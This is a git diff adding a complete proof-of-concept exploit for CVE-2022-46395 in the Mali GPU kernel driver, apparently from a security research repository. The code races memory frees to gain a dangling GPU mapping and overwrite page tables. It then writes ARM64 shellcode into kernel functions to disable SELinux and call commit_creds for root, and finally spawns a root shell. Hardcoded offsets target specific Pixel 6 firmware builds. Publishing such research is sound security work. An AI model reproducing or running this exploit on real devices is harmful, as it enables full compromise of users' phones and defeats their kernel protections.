BASE_JD_EVENT_RANGE_HW_FAULT_OR_SW_ERROR_START = 0x40, + + /* job exceptions */ + BASE_JD_EVENT_JOB_CONFIG_FAULT = 0x40, + BASE_JD_EVENT_JOB_POWER_FAULT = 0x41, + BASE_JD_EVENT_JOB_READ_FAULT = 0x42, + BASE_JD_EVENT_JOB_WRITE_FAULT = 0x43, + BASE_JD_EVENT_JOB_AFFINITY_FAULT = 0x44, + BASE_JD_EVENT_JOB_BUS_FAULT = 0x48, + BASE_JD_EVENT_INSTR_INVALID_PC = 0x50, + BASE_JD_EVENT_INSTR_INVALID_ENC = 0x51, + BASE_JD_EVENT_INSTR_TYPE_MISMATCH = 0x52, + BASE_JD_EVENT_INSTR_OPERAND_FAULT = 0x53, + BASE_JD_EVENT_INSTR_TLS_FAULT = 0x54, + BASE_JD_EVENT_INSTR_BARRIER_FAULT = 0x55, + BASE_JD_EVENT_INSTR_ALIGN_FAULT = 0x56, + BASE_JD_EVENT_DATA_INVALID_FAULT = 0x58, + BASE_JD_EVENT_TILE_RANGE_FAULT = 0x59, + BASE_JD_EVENT_STATE_FAULT = 0x5A, + BASE_JD_EVENT_OUT_OF_MEMORY = 0x60, + BASE_JD_EVENT_UNKNOWN = 0x7F, + + /* GPU exceptions */ + BASE_JD_EVENT_DELAYED_BUS_FAULT = 0x80, + BASE_JD_EVENT_SHAREABILITY_FAULT = 0x88, + + /* MMU exceptions */ + BASE_JD_EVENT_TRANSLATION_FAULT_LEVEL1 = 0xC1, + BASE_JD_EVENT_TRANSLATION_FAULT_LEVEL2 = 0xC2, + BASE_JD_EVENT_TRANSLATION_FAULT_LEVEL3 = 0xC3, + BASE_JD_EVENT_TRANSLATION_FAULT_LEVEL4 = 0xC4, + BASE_JD_EVENT_PERMISSION_FAULT = 0xC8, + BASE_JD_EVENT_TRANSTAB_BUS_FAULT_LEVEL1 = 0xD1, + BASE_JD_EVENT_TRANSTAB_BUS_FAULT_LEVEL2 = 0xD2, + BASE_JD_EVENT_TRANSTAB_BUS_FAULT_LEVEL3 = 0xD3, + BASE_JD_EVENT_TRANSTAB_BUS_FAULT_LEVEL4 = 0xD4, + BASE_JD_EVENT_ACCESS_FLAG = 0xD8, + + /* SW defined exceptions */ + BASE_JD_EVENT_MEM_GROWTH_FAILED = + BASE_JD_SW_EVENT | BASE_JD_SW_EVENT_JOB | 0x000, + BASE_JD_EVENT_TIMED_OUT = + BASE_JD_SW_EVENT | BASE_JD_SW_EVENT_JOB | 0x001, + BASE_JD_EVENT_JOB_CANCELLED = + BASE_JD_SW_EVENT | BASE_JD_SW_EVENT_JOB | 0x002, + BASE_JD_EVENT_JOB_INVALID = + BASE_JD_SW_EVENT | BASE_JD_SW_EVENT_JOB | 0x003, + BASE_JD_EVENT_PM_EVENT = + BASE_JD_SW_EVENT | BASE_JD_SW_EVENT_JOB | 0x004, + + BASE_JD_EVENT_BAG_INVALID = + BASE_JD_SW_EVENT | BASE_JD_SW_EVENT_BAG | 0x003, + + BASE_JD_EVENT_RANGE_HW_FAULT_OR_SW_ERROR_END = BASE_JD_SW_EVENT | + BASE_JD_SW_EVENT_RESERVED | 0x3FF, + + BASE_JD_EVENT_RANGE_SW_SUCCESS_START = BASE_JD_SW_EVENT | + BASE_JD_SW_EVENT_SUCCESS | 0x000, + + BASE_JD_EVENT_PROGRESS_REPORT = BASE_JD_SW_EVENT | + BASE_JD_SW_EVENT_SUCCESS | BASE_JD_SW_EVENT_JOB | 0x000, + BASE_JD_EVENT_BAG_DONE = BASE_JD_SW_EVENT | BASE_JD_SW_EVENT_SUCCESS | + BASE_JD_SW_EVENT_BAG | 0x000, + BASE_JD_EVENT_DRV_TERMINATED = BASE_JD_SW_EVENT | + BASE_JD_SW_EVENT_SUCCESS | BASE_JD_SW_EVENT_INFO | 0x000, + + BASE_JD_EVENT_RANGE_SW_SUCCESS_END = BASE_JD_SW_EVENT | + BASE_JD_SW_EVENT_SUCCESS | BASE_JD_SW_EVENT_RESERVED | 0x3FF, + + BASE_JD_EVENT_RANGE_KERNEL_ONLY_START = BASE_JD_SW_EVENT | + BASE_JD_SW_EVENT_KERNEL | 0x000, + BASE_JD_EVENT_REMOVED_FROM_NEXT = BASE_JD_SW_EVENT | + BASE_JD_SW_EVENT_KERNEL | BASE_JD_SW_EVENT_JOB | 0x000, + BASE_JD_EVENT_END_RP_DONE = BASE_JD_SW_EVENT | + BASE_JD_SW_EVENT_KERNEL | BASE_JD_SW_EVENT_JOB | 0x001, + + BASE_JD_EVENT_RANGE_KERNEL_ONLY_END = BASE_JD_SW_EVENT | + BASE_JD_SW_EVENT_KERNEL | BASE_JD_SW_EVENT_RESERVED | 0x3FF +}; + +/** + * struct base_jd_event_v2 - Event reporting structure + * + * @event_code: event code. + * @atom_number: the atom number that has completed. + * @udata: user data. + * + * This structure is used by the kernel driver to report information + * about GPU events. They can either be HW-specific events or low-level + * SW events, such as job-chain completion. + * + * The event code contains an event type field which can be extracted + * by ANDing with BASE_JD_SW_EVENT_TYPE_MASK. + */ +struct base_jd_event_v2 { + enum base_jd_event_code event_code; + base_atom_id atom_number; + struct base_jd_udata udata; +}; + +/** + * struct base_dump_cpu_gpu_counters - Structure for + * BASE_JD_REQ_SOFT_DUMP_CPU_GPU_COUNTERS + * jobs. + * @system_time: gpu timestamp + * @cycle_counter: gpu cycle count + * @sec: cpu time(sec) + * @usec: cpu time(usec) + * @padding: padding + * + * This structure is stored into the memory pointed to by the @jc field + * of &struct base_jd_atom. + * + * It must not occupy the same CPU cache line(s) as any neighboring data. + * This is to avoid cases where access to pages containing the structure + * is shared between cached and un-cached memory regions, which would + * cause memory corruption. + */ + +struct base_dump_cpu_gpu_counters { + __u64 system_time; + __u64 cycle_counter; + __u64 sec; + __u32 usec; + __u8 padding[36]; +}; + +#endif /* _UAPI_BASE_JM_KERNEL_H_ */ + diff --git a/SecurityExploits/Android/Mali/CVE_2022_46395/mali_user_buf.c b/SecurityExploits/Android/Mali/CVE_2022_46395/mali_user_buf.c new file mode 100644 index 0000000..624de53 --- /dev/null +++ b/SecurityExploits/Android/Mali/CVE_2022_46395/mali_user_buf.c @@ -0,0 +1,670 @@ +#define _GNU_SOURCE + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "stdbool.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "mali.h" +#include "mali_base_jm_kernel.h" +#include "mempool_utils.h" +#include "mem_write.h" + +#define MALI "/dev/mali0" + +#define PAGE_SHIFT 12 + +#define BASE_MEM_ALIAS_MAX_ENTS ((size_t)24576) + +#define RESERVED_SIZE 32 + +#define TOTAL_RESERVED_SIZE 1024 + +#define PFN_DOWN(x) ((x) >> PAGE_SHIFT) + +#define UNMAP_CPU 1 + +#define UPDATE_CPU 0 + +#define WAIT_CPU 2 + +#define NB_PREEMPT_THREAD 32 + +#define NR_WATCHES 100 //5000 +#define NR_EPFDS 500 + +#define TEST_ENT 3 + +#define NSEC_PER_SEC 1000000000UL + +#define DEFAULT_WAIT 505 + +#define CORRUPTED_VA_SIZE 500 + +#define CORRUPTED_COMMIT_SIZE 10 + +#define AVC_DENY_2211 0x8d6810 + +#define SEL_READ_ENFORCE_2211 0x8ea124 + +#define INIT_CRED_2211 0x2fd1388 + +#define COMMIT_CREDS_2211 0x17ada4 + +#define ADD_INIT_2211 0x910e2000 //add x0, x0, #0x388 + +#define ADD_COMMIT_2211 0x91369108 //add x8, x8, #0xda4 + +#define AVC_DENY_2212 0x8ba710 + +#define SEL_READ_ENFORCE_2212 0x8cdfd4 + +#define INIT_CRED_2212 0x2fd1418 + +#define COMMIT_CREDS_2212 0x177ee4 + +#define ADD_INIT_2212 0x91106000 //add x0, x0, #0x418 + +#define ADD_COMMIT_2212 0x913b9108 //add x8, x8, #0xee4 + +#define AVC_DENY_2301 0x8ba710 + +#define SEL_READ_ENFORCE_2301 0x8cdfd4 + +#define INIT_CRED_2301 0x2fd1418 + +#define COMMIT_CREDS_2301 0x177ee4 + +#define ADD_INIT_2301 0x91106000 //add x0, x0, #0x418 + +#define ADD_COMMIT_2301 0x913b9108 //add x8, x8, #0xee4 + +static uint64_t sel_read_enforce = SEL_READ_ENFORCE_2211; + +static uint64_t avc_deny = AVC_DENY_2211; + +static uint32_t permissive[3] = {0x3900001f, 0xd2800000,0xd65f03c0}; + +static uint32_t root_code[8] = {0}; + +static uint64_t uevent; +static uint8_t atom_number = 0; +static volatile int g_ready_unmap = 0; +static struct timespec unmap_time; +static struct timespec finished_fault_time; +static uint8_t g_initial_read = TEST_ENT; +static int need_reset_fd = 0; +static volatile bool success = false; +static int error_code = 0; +static struct timespec finished_reset_time; +static uint64_t reserved[TOTAL_RESERVED_SIZE/RESERVED_SIZE]; +static uint64_t corrupted_region = 0; +static uint64_t benchmark_time = DEFAULT_WAIT; +static uint64_t this_benchmark_time = 0; + +#define OFF 4 + +#define SYSCHK(x) ({ \ + typeof(x) __res = (x); \ + if (__res == (typeof(x))-1) \ + err(1, "SYSCHK(" #x ")"); \ + __res; \ +}) + + +void select_offset() { + char fingerprint[256]; + int len = __system_property_get("ro.build.fingerprint", fingerprint); + LOG("fingerprint: %s\n", fingerprint); + if (!strcmp(fingerprint, "google/oriole/oriole:13/TP1A.221105.002/9080065:user/release-keys")) { + avc_deny = AVC_DENY_2211; + sel_read_enforce = SEL_READ_ENFORCE_2211; + fixup_root_shell(INIT_CRED_2211, COMMIT_CREDS_2211, SEL_READ_ENFORCE_2211, ADD_INIT_2211, ADD_COMMIT_2211, &(root_code[0])); + return; + } + if (!strcmp(fingerprint, "google/oriole/oriole:13/TQ1A.221205.011/9244662:user/release-keys")) { + avc_deny = AVC_DENY_2212; + sel_read_enforce = SEL_READ_ENFORCE_2212; + fixup_root_shell(INIT_CRED_2212, COMMIT_CREDS_2212, SEL_READ_ENFORCE_2212, ADD_INIT_2212, ADD_COMMIT_2212, &(root_code[0])); + return; + } + if (!strcmp(fingerprint, "google/oriole/oriole:13/TQ1A.230105.002/9325679:user/release-keys")) { + avc_deny = AVC_DENY_2301; + sel_read_enforce = SEL_READ_ENFORCE_2301; + fixup_root_shell(INIT_CRED_2301, COMMIT_CREDS_2301, SEL_READ_ENFORCE_2301, ADD_INIT_2301, ADD_COMMIT_2301, &(root_code[0])); + return; + } + + err(1, "unable to match build id\n"); +} + +static int io_setup(unsigned nr, aio_context_t *ctxp) +{ + return syscall(__NR_io_setup, nr, ctxp); +} + +static int io_destroy(aio_context_t ctx) +{ + return syscall(__NR_io_destroy, ctx); +} + +void epoll_add(int epfd, int fd) { + struct epoll_event ev = { .events = EPOLLIN }; + SYSCHK(epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &ev)); +} + +struct timespec get_mono_time(void) { + struct timespec ts; + SYSCHK(clock_gettime(CLOCK_MONOTONIC, &ts)); + return ts; +} + +inline unsigned long timespec_to_ns(struct timespec ts) { + return ts.tv_sec * NSEC_PER_SEC + ts.tv_nsec; +} + +void ts_sub(struct timespec *ts, unsigned long nsecs) { + if (ts->tv_nsec < nsecs) { + ts->tv_sec--; + ts->tv_nsec += NSEC_PER_SEC; + } + ts->tv_nsec -= nsecs; +} +void ts_add(struct timespec *ts, unsigned long nsecs) { + ts->tv_nsec += nsecs; + if (ts->tv_nsec >= NSEC_PER_SEC) { + ts->tv_sec++; + ts->tv_nsec -= NSEC_PER_SEC; + } +} +bool ts_is_in_future(struct timespec ts) { + struct timespec cur = get_mono_time(); + if (ts.tv_sec > cur.tv_sec) + return true; + if (ts.tv_sec < cur.tv_sec) + return false; + return ts.tv_nsec > cur.tv_nsec; +} + +void setup_timerfd() { + int tfd = SYSCHK(timerfd_create(CLOCK_MONOTONIC, 0)); + int tfd_dups[NR_WATCHES]; + for (int i=0; itv_sec < t2->tv_sec) return true; + if (t1->tv_sec > t2->tv_sec) return false; + return t1->tv_nsec < t2->tv_nsec; +} + +bool before_reset() { + return finished_reset_time.tv_sec == 0 || before(&finished_fault_time, &finished_reset_time); +} + +void* unmap_resources(void* args) { + uint64_t* arguments = (uint64_t*)args; + int mali_fd = (int)(arguments[0]); + + migrate_to_cpu(UNMAP_CPU); + struct kbase_ioctl_mem_free mem_free = {.gpu_addr = (64ul << 12) + 0x1000}; + + while (!g_ready_unmap); + while (ts_is_in_future(unmap_time)); + migrate_to_cpu(UNMAP_CPU); + g_initial_read = *(volatile uint8_t*)(uevent + OFF); + if (g_initial_read != TEST_ENT) return NULL; + ioctl(mali_fd, KBASE_IOCTL_MEM_FREE, &mem_free); + finished_fault_time = get_mono_time(); + if (!before_reset()) return NULL; +// LOG("finished reset time %ld %ld fault time %ld %ld\n", finished_reset_time.tv_sec, finished_reset_time.tv_nsec, finished_fault_time.tv_sec, finished_fault_time.tv_nsec); + unmap_external_resource(mali_fd, uevent); + corrupted_region = (uint64_t)map_gpu(mali_fd, CORRUPTED_VA_SIZE, CORRUPTED_COMMIT_SIZE, false, 1); + +// struct timespec time_now = get_mono_time(); +// LOG("finished reset time: %ld %ld, finished map time: %ld %ld\n", finished_reset_time.tv_sec, finished_reset_time.tv_nsec, time_now.tv_sec, time_now.tv_nsec); + return NULL; +} + +void check_success() { + if (error_code != 0 || g_initial_read != TEST_ENT) return; + if (finished_fault_time.tv_sec == 0) return; + if (finished_reset_time.tv_sec < finished_fault_time.tv_sec) return; + if (finished_reset_time.tv_sec > finished_fault_time.tv_sec) { + success = 1; + return; + } + if (finished_reset_time.tv_sec == finished_fault_time.tv_sec) { + if (finished_reset_time.tv_nsec > finished_fault_time.tv_nsec) { + success = 1; + return; + } + } + return; +} + +void* softjob_reset(void* arg) { + uint64_t* arguments = (uint64_t*)arg; + uint64_t benchmark = arguments[1]; + struct timespec start_benchmark_time; + struct kbase_ioctl_soft_event_update update= {0}; + update.event = benchmark ? 0 : uevent + OFF; + update.new_status = 0; + + int tfd = SYSCHK(timerfd_create(CLOCK_MONOTONIC, 0)); + int tfd_dups[NR_WATCHES]; + for (int i=0; i> PAGE_SHIFT) << PAGE_SHIFT)| 0x443; + write_to(mali_fd, pgd + OVERWRITE_INDEX * sizeof(uint64_t), avc_deny_addr, atom_number++, MALI_WRITE_VALUE_TYPE_IMMEDIATE_64); + + usleep(100000); + //Go through the reserve pages addresses to write to avc_denied with our own shellcode + atom_number = write_func(mali_fd2, avc_deny, reserved, TOTAL_RESERVED_SIZE/RESERVED_SIZE, &(permissive[0]), sizeof(permissive)/sizeof(uint32_t), RESERVED_SIZE, atom_number); + + //Triggers avc_denied to disable SELinux + open("/dev/kmsg", O_RDONLY); + + uint64_t sel_read_enforce_addr = (((sel_read_enforce + KERNEL_BASE) >> PAGE_SHIFT) << PAGE_SHIFT)| 0x443; + write_to(mali_fd, pgd + OVERWRITE_INDEX * sizeof(uint64_t), sel_read_enforce_addr, atom_number++, MALI_WRITE_VALUE_TYPE_IMMEDIATE_64); + + //Call commit_creds to overwrite process credentials to gain root + atom_number = write_func(mali_fd2, sel_read_enforce, reserved, TOTAL_RESERVED_SIZE/RESERVED_SIZE, &(root_code[0]), sizeof(root_code)/sizeof(uint32_t), RESERVED_SIZE, atom_number); + return atom_number; +} + +int find_pgd(uint64_t* gpu_addr, int* index) { + int ret = -1; + for (int pg = 0; pg < CORRUPTED_COMMIT_SIZE; pg++) { + for (int i = 0; i < 0x1000/8; i++) { + uint64_t entry = gpu_addr[pg * 0x1000/8 + i]; + if ((entry & 0x443) == 0x443) { + *index = i; + return pg; + } + } + } + return ret; +} + +uint64_t benchmark() { + uint64_t time = 0; + int num_average = 30; + uint64_t arguments[2]; + int benchmark_fd = open_dev(MALI); + setup_mali(benchmark_fd, 0); + void* tracking_page2 = setup_tracking_page(benchmark_fd); + arguments[0] = benchmark_fd; + arguments[1] = 1; + for (int i = 0; i < num_average; i++) { + softjob_reset(&(arguments[0])); + time += this_benchmark_time/100; + } + printf("benchmark_time %ld\n", time/num_average); + close(benchmark_fd); + return time/num_average; +} + +int trigger(int mali_fd2) { + + int mali_fd = open_dev(MALI); + setup_mali(mali_fd, 0); + void* tracking_page = setup_tracking_page(mali_fd); + + aio_context_t ctx = 0; + uint32_t nr_events = 128; + int ret = io_setup(nr_events, &ctx); + if (ret < 0) err(1, "io_setup error\n"); + char* anon_mapping = (char*)ctx; + + migrate_to_cpu(WAIT_CPU); + *(volatile char *)(anon_mapping + OFF) = TEST_ENT; + + + uint64_t this_addr = (uint64_t)anon_mapping; + uint64_t imported_address = mem_import(mali_fd, this_addr); + void *gpu_mapping = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, + MAP_SHARED, mali_fd, imported_address); + if (gpu_mapping == MAP_FAILED) { + err(1, "gpu mapping failed\n"); + } + uint64_t jc = map_resource_job(mali_fd, atom_number++, (uint64_t)gpu_mapping); + map_external_resource(mali_fd, (uint64_t)gpu_mapping); + release_resource_job(mali_fd, atom_number++, jc); + uevent = (uint64_t)gpu_mapping; + + if (io_destroy(ctx) < 0) err(1, "unable to destroy aio ctx\n"); + + pthread_t thread; + uint64_t args[2]; + args[0] = mali_fd; + args[1] = 0; + + pthread_create(&thread, NULL, &unmap_resources, (void*)&(args[0])); + pthread_t thread1; + pthread_create(&thread1, NULL, softjob_reset, (void*)&(args[0])); + struct sched_param sched_par = {0}; + pthread_join(thread1, NULL); + pthread_join(thread, NULL); + check_success(); + + if (success) { + LOG("finished reset: %ld fault: %ld %ld err %d read %d\n", finished_reset_time.tv_nsec, finished_fault_time.tv_nsec, finished_fault_time.tv_sec, error_code, g_initial_read); + + uint64_t alias_region = access_free_pages(mali_fd, mali_fd2, corrupted_region); + int index = 0; + int pg = find_pgd((uint64_t*)alias_region, &index); + if (pg != -1) { + LOG("found pgd at page %d\n", pg); + } else { + LOG("failed to find pgd, retry\n"); + success = 0; + need_reset_fd = 1; + close(mali_fd); + return 0; + } + uint64_t pgd = alias_region + pg * 0x1000; + atom_number = write_shellcode(mali_fd, mali_fd2, pgd, &(reserved[0])); + run_enforce(); + cleanup(mali_fd, pgd, atom_number++); + return 1; + } + close(mali_fd); + return 0; +} + +int reset_mali2(int prev) { + if (prev != -1) close(prev); + int mali_fd2 = open_dev(MALI); + setup_mali(mali_fd2, 1); + void* tracking_page2 = setup_tracking_page(mali_fd2); + reserve_pages(mali_fd2, RESERVED_SIZE, TOTAL_RESERVED_SIZE/RESERVED_SIZE, &(reserved[0])); + return mali_fd2; +} + +int main() { + setbuf(stdout, NULL); + setbuf(stderr, NULL); + uint64_t counter = 0; + select_offset(); + int mali_fd2 = reset_mali2(-1); + benchmark_time = benchmark(); + while (!success) { + reset(); + int ret = trigger(mali_fd2); + counter++; + if (counter % 100 == 0) { + LOG("failed after %ld\n", counter); + } + if (counter % 300 == 0) { + benchmark_time = benchmark(); + } + if (!success && need_reset_fd) { + mali_fd2 = reset_mali2(mali_fd2); + } + if (ret == 1) system("sh"); + } + LOG("success after %ld\n", counter); +} diff --git a/SecurityExploits/Android/Mali/CVE_2022_46395/mem_write.c b/SecurityExploits/Android/Mali/CVE_2022_46395/mem_write.c new file mode 100644 index 0000000..c696832 --- /dev/null +++ b/SecurityExploits/Android/Mali/CVE_2022_46395/mem_write.c @@ -0,0 +1,160 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "stdbool.h" +#include +#include + +#include "mem_write.h" +#include "mempool_utils.h" + +#define ADRP_INIT_INDEX 0 + +#define ADD_INIT_INDEX 1 + +#define ADRP_COMMIT_INDEX 2 + +#define ADD_COMMIT_INDEX 3 + +void* map_gpu(int mali_fd, unsigned int va_pages, unsigned int commit_pages, bool read_only, int group) { + union kbase_ioctl_mem_alloc alloc = {0}; + alloc.in.flags = BASE_MEM_PROT_CPU_RD | BASE_MEM_PROT_GPU_RD | BASE_MEM_PROT_CPU_WR | (group << 22); + int prot = PROT_READ; + if (!read_only) { + alloc.in.flags |= BASE_MEM_PROT_GPU_WR; + prot |= PROT_WRITE; + } + alloc.in.va_pages = va_pages; + alloc.in.commit_pages = commit_pages; + mem_alloc(mali_fd, &alloc); + void* region = mmap(NULL, 0x1000 * va_pages, prot, MAP_SHARED, mali_fd, alloc.out.gpu_va); + if (region == MAP_FAILED) { + err(1, "mmap failed"); + } + return region; +} + +static inline uint32_t lo32(uint64_t x) { + return x & 0xffffffff; +} + +static inline uint32_t hi32(uint64_t x) { + return x >> 32; +} + +static uint32_t write_adrp(int rd, uint64_t pc, uint64_t label) { + uint64_t pc_page = pc >> 12; + uint64_t label_page = label >> 12; + int64_t offset = (label_page - pc_page) << 12; + int64_t immhi_mask = 0xffffe0; + int64_t immhi = offset >> 14; + int32_t immlo = (offset >> 12) & 0x3; + uint32_t adpr = rd & 0x1f; + adpr |= (1 << 28); + adpr |= (1 << 31); //op + adpr |= immlo << 29; + adpr |= (immhi_mask & (immhi << 5)); + return adpr; +} + +void fixup_root_shell(uint64_t init_cred, uint64_t commit_cred, uint64_t read_enforce, uint32_t add_init, uint32_t add_commit, uint32_t* root_code) { + + uint32_t init_adpr = write_adrp(0, read_enforce, init_cred); + //Sets x0 to init_cred + root_code[ADRP_INIT_INDEX] = init_adpr; + root_code[ADD_INIT_INDEX] = add_init; + //Sets x8 to commit_creds + root_code[ADRP_COMMIT_INDEX] = write_adrp(8, read_enforce, commit_cred); + root_code[ADD_COMMIT_INDEX] = add_commit; + root_code[4] = 0xa9bf7bfd; // stp x29, x30, [sp, #-0x10] + root_code[5] = 0xd63f0100; // blr x8 + root_code[6] = 0xa8c17bfd; // ldp x29, x30, [sp], #0x10 + root_code[7] = 0xd65f03c0; // ret +} + +static uint64_t set_addr_lv3(uint64_t addr) { + uint64_t pfn = addr >> PAGE_SHIFT; + pfn &= ~ 0x1FFUL; + pfn |= 0x100UL; + return pfn << PAGE_SHIFT; +} + +static inline uint64_t compute_pt_index(uint64_t addr, int level) { + uint64_t vpfn = addr >> PAGE_SHIFT; + vpfn >>= (3 - level) * 9; + return vpfn & 0x1FF; +} + +void write_to(int mali_fd, uint64_t gpu_addr, uint64_t value, int atom_number, enum mali_write_value_type type) { + void* jc_region = map_gpu(mali_fd, 1, 1, false, 0); + struct MALI_JOB_HEADER jh = {0}; + jh.is_64b = true; + jh.type = MALI_JOB_TYPE_WRITE_VALUE; + + struct MALI_WRITE_VALUE_JOB_PAYLOAD payload = {0}; + payload.type = type; + payload.immediate_value = value; + payload.address = gpu_addr; + + MALI_JOB_HEADER_pack((uint32_t*)jc_region, &jh); + MALI_WRITE_VALUE_JOB_PAYLOAD_pack((uint32_t*)jc_region + 8, &payload); + uint32_t* section = (uint32_t*)jc_region; + struct base_jd_atom_v2 atom = {0}; + atom.jc = (uint64_t)jc_region; + atom.atom_number = atom_number; + atom.core_req = BASE_JD_REQ_CS; + struct kbase_ioctl_job_submit submit = {0}; + submit.addr = (uint64_t)(&atom); + submit.nr_atoms = 1; + submit.stride = sizeof(struct base_jd_atom_v2); + if (ioctl(mali_fd, KBASE_IOCTL_JOB_SUBMIT, &submit) < 0) { + err(1, "submit job failed\n"); + } + usleep(10000); +} + +uint8_t write_func(int mali_fd, uint64_t func, uint64_t* reserved, uint64_t size, uint32_t* shellcode, uint64_t code_size, uint64_t reserved_size, uint8_t atom_number) { + uint64_t func_offset = (func + KERNEL_BASE) % 0x1000; + uint64_t curr_overwrite_addr = 0; + for (int i = 0; i < size; i++) { + uint64_t base = reserved[i]; + uint64_t end = reserved[i] + reserved_size * 0x1000; + uint64_t start_idx = compute_pt_index(base, 3); + uint64_t end_idx = compute_pt_index(end, 3); + for (uint64_t addr = base; addr < end; addr += 0x1000) { + uint64_t overwrite_addr = set_addr_lv3(addr); + if (curr_overwrite_addr != overwrite_addr) { + LOG("overwrite addr : %lx %lx\n", overwrite_addr + func_offset, func_offset); + curr_overwrite_addr = overwrite_addr; + for (int code = code_size - 1; code >= 0; code--) { + write_to(mali_fd, overwrite_addr + func_offset + code * 4, shellcode[code], atom_number++, MALI_WRITE_VALUE_TYPE_IMMEDIATE_32); + } + usleep(300000); + } + } + } + return atom_number; +} + +uint8_t cleanup(int mali_fd, uint64_t pgd, uint8_t atom_number) { + write_to(mali_fd, pgd + OVERWRITE_INDEX * sizeof(uint64_t), 2, atom_number++, MALI_WRITE_VALUE_TYPE_IMMEDIATE_64); + return atom_number; +} + +int run_enforce() { + char result = '2'; + sleep(3); + int enforce_fd = open("/sys/fs/selinux/enforce", O_RDONLY); + read(enforce_fd, &result, 1); + close(enforce_fd); + LOG("result %d\n", result); + return result; +} + diff --git a/SecurityExploits/Android/Mali/CVE_2022_46395/mem_write.h b/SecurityExploits/Android/Mali/CVE_2022_46395/mem_write.h new file mode 100644 index 0000000..17bc0c5 --- /dev/null +++ b/SecurityExploits/Android/Mali/CVE_2022_46395/mem_write.h @@ -0,0 +1,27 @@ +#ifndef MEM_WRITE_H +#define MEM_WRITE_H + +#include +#include "mali.h" +#include "mali_base_jm_kernel.h" +#include "midgard.h" +#include "log_utils.h" + +#define KERNEL_BASE 0x80000000 + +#define PAGE_SHIFT 12 + +#define OVERWRITE_INDEX 256 + +void* map_gpu(int mali_fd, unsigned int va_pages, unsigned int commit_pages, bool read_only, int group); + +void fixup_root_shell(uint64_t init_cred, uint64_t commit_cred, uint64_t read_enforce, uint32_t add_init, uint32_t add_commit, uint32_t* root_code); + +void write_to(int mali_fd, uint64_t gpu_addr, uint64_t value, int atom_number, enum mali_write_value_type type); + +uint8_t write_func(int mali_fd, uint64_t func, uint64_t* reserved, uint64_t size, uint32_t* shellcode, uint64_t code_size, uint64_t reserved_size, uint8_t atom_number); + +uint8_t cleanup(int mali_fd, uint64_t pgd, uint8_t atom_number); + +int run_enforce(); +#endif diff --git a/SecurityExploits/Android/Mali/CVE_2022_46395/mempool_utils.c b/SecurityExploits/Android/Mali/CVE_2022_46395/mempool_utils.c new file mode 100644 index 0000000..9a7f134 --- /dev/null +++ b/SecurityExploits/Android/Mali/CVE_2022_46395/mempool_utils.c @@ -0,0 +1,61 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "stdbool.h" +#include + +#include "mempool_utils.h" + +#define POOL_SIZE 16384 + +void mem_alloc(int fd, union kbase_ioctl_mem_alloc* alloc) { + if (ioctl(fd, KBASE_IOCTL_MEM_ALLOC, alloc) < 0) { + err(1, "mem_alloc failed\n"); + } +} + +void reserve_pages(int mali_fd, int pages, int nents, uint64_t* reserved_va) { + for (int i = 0; i < nents; i++) { + union kbase_ioctl_mem_alloc alloc = {0}; + alloc.in.flags = BASE_MEM_PROT_CPU_RD | BASE_MEM_PROT_GPU_RD | BASE_MEM_PROT_CPU_WR | BASE_MEM_PROT_GPU_WR | (1 << 22); + int prot = PROT_READ | PROT_WRITE; + alloc.in.va_pages = pages; + alloc.in.commit_pages = pages; + mem_alloc(mali_fd, &alloc); + reserved_va[i] = alloc.out.gpu_va; + } +} + +void map_reserved(int mali_fd, int pages, int nents, uint64_t* reserved_va) { + for (int i = 0; i < nents; i++) { + void* reserved = mmap(NULL, 0x1000 * pages, PROT_READ | PROT_WRITE, MAP_SHARED, mali_fd, reserved_va[i]); + if (reserved == MAP_FAILED) { + err(1, "mmap reserved failed %d\n", i); + } + reserved_va[i] = (uint64_t)reserved; + } +} + +uint64_t drain_mem_pool(int mali_fd) { + union kbase_ioctl_mem_alloc alloc = {0}; + alloc.in.flags = BASE_MEM_PROT_CPU_RD | BASE_MEM_PROT_GPU_RD | BASE_MEM_PROT_CPU_WR | BASE_MEM_PROT_GPU_WR | (1 << 22); + int prot = PROT_READ | PROT_WRITE; + alloc.in.va_pages = POOL_SIZE; + alloc.in.commit_pages = POOL_SIZE; + mem_alloc(mali_fd, &alloc); + return alloc.out.gpu_va; +} + +void release_mem_pool(int mali_fd, uint64_t drain) { + struct kbase_ioctl_mem_free mem_free = {.gpu_addr = drain}; + if (ioctl(mali_fd, KBASE_IOCTL_MEM_FREE, &mem_free) < 0) { + err(1, "free_mem failed\n"); + } +} + diff --git a/SecurityExploits/Android/Mali/CVE_2022_46395/mempool_utils.h b/SecurityExploits/Android/Mali/CVE_2022_46395/mempool_utils.h new file mode 100644 index 0000000..4115669 --- /dev/null +++ b/SecurityExploits/Android/Mali/CVE_2022_46395/mempool_utils.h @@ -0,0 +1,19 @@ +#ifndef MEMPOOL_UTILS_H +#define MEMPOOL_UTILS_H + +#include +#include "mali.h" +#include "mali_base_jm_kernel.h" +#include "log_utils.h" + +void mem_alloc(int fd, union kbase_ioctl_mem_alloc* alloc); + +void reserve_pages(int mali_fd, int pages, int nents, uint64_t* reserved_va); + +void map_reserved(int mali_fd, int pages, int nents, uint64_t* reserved_va); + +uint64_t drain_mem_pool(int mali_fd); + +void release_mem_pool(int mali_fd, uint64_t drain); + +#endif diff --git a/SecurityExploits/Android/Mali/CVE_2022_46395/midgard.h b/SecurityExploits/Android/Mali/CVE_2022_46395/midgard.h new file mode 100644 index 0000000..e0ce432 --- /dev/null +++ b/SecurityExploits/Android/Mali/CVE_2022_46395/midgard.h @@ -0,0 +1,260 @@ +#ifndef MIDGARD_H +#define MIDGARD_H + +//Generated using pandecode-standalone: https://gitlab.freedesktop.org/panfrost/pandecode-standalone + +#include +#include +#include +#include +#include +#include +#include + +#define pan_section_ptr(base, A, S) \ + ((void *)((uint8_t *)(base) + MALI_ ## A ## _SECTION_ ## S ## _OFFSET)) + +#define pan_section_pack(dst, A, S, name) \ + for (MALI_ ## A ## _SECTION_ ## S ## _TYPE name = { MALI_ ## A ## _SECTION_ ## S ## _header }, \ + *_loop_terminate = (void *) (dst); \ + __builtin_expect(_loop_terminate != NULL, 1); \ + ({ MALI_ ## A ## _SECTION_ ## S ## _pack(pan_section_ptr(dst, A, S), &name); \ + _loop_terminate = NULL; })) + + +static inline uint64_t +__gen_uint(uint64_t 